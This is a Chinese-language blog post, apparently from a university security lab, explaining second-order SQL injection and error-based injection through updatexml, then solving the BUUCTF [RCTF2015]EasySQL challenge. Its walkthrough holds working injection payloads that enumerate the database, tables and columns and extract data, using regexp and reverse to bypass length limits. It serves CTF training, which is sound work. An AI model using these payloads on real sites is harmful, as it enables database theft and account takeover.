vlambda博客
学习文章列表

SQL二次注入--火炬木实验室


SQL二次注入

<本文投稿来自214243揭子睿>

简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用,可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。

01

后端代码对语句进行了转义

addslashes,mysql_real_escape_string,mysql_escape_string等函数对特殊字符进行了转义,使特殊字符能够插入数据库中。

02

保存进数据库时没有转义,是原语句

关键语句:

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

例:如果闭合方式为单引号,先注册一个账号admin’#,由于’被函数转义,所以admin’#进入数据库.当改账号重设密码时,执行语句:

$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#’ and password='$curr_pass' ";

’admin’被闭合,#注释后面的语句,最终更改的是admin的密码.SQL报错注入数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。

updatexml函数

是更新xml文档的函数
语法:updatexml(目标xml文档,xml路径,更新的内容)

第二个参数xml路径是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

updatexml(1,concat(0x3a,(你希望执行的语句),0x3a),1)#


BUUCTF [RCTF2015]EasySQL1

查看题目

显示LOGIN和REGISTER

进入login.php,发现无论输入什么都显示login error

然后进入register.php,随意注册一下

SQL二次注入--火炬木实验室
SQL二次注入--火炬木实验室

这里发现不能有@,可能存在过滤


登录之后发现可以修改密码,想到二次注入

SQL二次注入--火炬木实验室
SQL二次注入--火炬木实验室

先测试sql语句中的闭合方式

注册usename:a’  测试单引号

SQL二次注入--火炬木实验室

然后注册,更改密码,没有反应,说明没有触发二次注入漏洞。

重新注册username:a’’

SQL二次注入--火炬木实验室
SQL二次注入--火炬木实验室

说明该sql语句的闭合方式为”

回到注册页面,用burpsuite跑一下字典,看看过滤了哪些字符

SQL二次注入--火炬木实验室

这里可以看到过滤了很多字符,由于空格被过滤,所以采用()来代替空格

采用sql二次注入和sql报错注入来获取数据库库名,表名,列名及列的内容

爆库名

用语句

a"||(updatexml(1,concat(0x3a,(select(database())),0x3a),1))#

作为用户名注册并登录

SQL二次注入--火炬木实验室
SQL二次注入--火炬木实验室

更改密码,随便填什么

SQL二次注入--火炬木实验室

爆出数据库名为web_sqli

相同的方法,爆表名


a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x3a),1))#
SQL二次注入--火炬木实验室

爆出表名article,flag,users

爆表flag的列名

a"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x3a),1))#


SQL二次注入--火炬木实验室

爆出表flag的列名为flag

爆列flag中的值

a"||(updatexml(1,concat(0x3a,(select(group_concat(flag))from((flag))),0x3a),1))#


SQL二次注入--火炬木实验室

没有查到flag,试一下查表users

a"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x3a),1))#


SQL二次注入--火炬木实验室

爆出列name,pwd,email,real_flag_1s_her   感觉这里应该是real_flag_1s_here

爆值

a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_her))from((users))),0x3a),1))#Unknown column 'real_flag_1s_her' in 'field list' 果然不成功试一下 real_flag_1s_here


SQL二次注入--火炬木实验室
a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from((users))),0x3a),1))#

猜测由于回显限制了长度,flag可能在xxx的后面

利用函数regexp和reverse

regexp函数

通过正则匹配的方式来获取指定的字符

^是正则表达式匹配字符串开始位置 '^f'匹配以f起始的字符

a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x3a),1))#


SQL二次注入--火炬木实验室

结果为flag{639506bb-43b0-4f05-a1a7-42

只有前一部分,利用reverse函数

reverse函数

逆序字符串 如’abcd’->’dcba’

a"||(updatexml(1,concat(0x3a,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f')),0x3a),1))#


结果为}f135157b3924-7a1a-50f4-0b34-bb

将flag后一部分逆序与前一部分拼接,即可得到flag

责 任 编 辑:李妍昕

稿 件 来 源:火炬木实验室

图 文 编 辑:陶泽铖

初         审:  李妍昕

终         审:钟   平

责 任 发 布:科技与信息安全系执委会政宣部